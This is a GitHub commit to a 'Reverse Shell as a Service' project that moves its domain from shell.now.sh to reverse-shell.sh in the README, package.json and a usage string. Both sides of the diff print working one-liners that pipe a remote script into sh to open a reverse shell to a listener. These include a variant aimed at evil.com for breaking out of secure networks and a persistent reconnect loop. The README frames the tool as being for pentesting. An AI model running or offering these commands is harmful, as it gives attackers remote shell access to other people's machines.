Skip to content

Commit

Permalink
shell.now.sh => reverse-shell.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
lukechilds committed Oct 20, 2020
1 parent 306605b commit 944848e
Show file tree
Hide file tree
Showing 3 changed files with 8 additions and 8 deletions.
12 changes: 6 additions & 6 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# reverse-shell

> Reverse Shell as a Service - https://shell.now.sh
> Reverse Shell as a Service - https://reverse-shell.sh
[![Build Status](https://travis-ci.org/lukechilds/reverse-shell.svg?branch=master)](https://travis-ci.org/lukechilds/reverse-shell)
[![Coverage Status](https://coveralls.io/repos/github/lukechilds/reverse-shell/badge.svg?branch=master)](https://coveralls.io/github/lukechilds/reverse-shell?branch=master)
Expand All @@ -21,10 +21,10 @@ nc -l 1337
```
### 2. Execute reverse shell on target

On the target machine, pipe the output of https://shell.now.sh/yourip:port into sh.
On the target machine, pipe the output of https://reverse-shell.sh/yourip:port into sh.

```shell
curl https://shell.now.sh/192.168.0.69:1337 | sh
curl https://reverse-shell.sh/192.168.0.69:1337 | sh
```

Go back to your machine, you should now have a shell prompt.
Expand All @@ -44,7 +44,7 @@ This is meant to be used for pentesting or helping coworkers understand why they
You can use a hostname instead of an IP.

```shell
curl https://shell.now.sh/localhost:1337 | sh
curl https://reverse-shell.sh/localhost:1337 | sh
```

### Remote connections
Expand All @@ -54,15 +54,15 @@ Because this is a reverse connection it can punch through firewalls and connect
You could listen for connections on a server at evil.com and get a reverse shell from inside a secure network with.

```shell
curl https://shell.now.sh/evil.com:1337 | sh
curl https://reverse-shell.sh/evil.com:1337 | sh
```

### Reconnecting

By default when the shell exits you lose your connection. You may do this by accident with an invalid command. You can easily create a shell that will attempt to reconnect by wrapping it in a while loop.

```shell
while true; do curl https://shell.now.sh/yourip:1337 | sh; done
while true; do curl https://reverse-shell.sh/yourip:1337 | sh; done
```

Be careful if you do this to a coworker, if they leave the office with this still running you're opening them up to attack.
Expand Down
2 changes: 1 addition & 1 deletion package.json
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
{
"name": "reverse-shell",
"version": "1.1.2",
"description": "Reverse Shell as a Service - https://shell.now.sh",
"description": "Reverse Shell as a Service - https://reverse-shell.sh",
"main": "src/index.js",
"files": [
"src"
Expand Down
2 changes: 1 addition & 1 deletion src/index.js
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ const usage = `# Reverse Shell as a Service
# nc -l 1337
#
# 2. On the target machine:
# curl https://shell.now.sh/yourip:1337 | sh
# curl https://reverse-shell.sh/yourip:1337 | sh
#
# 3. Don't be a dick`;

Expand Down

0 comments on commit 944848e

Please sign in to comment.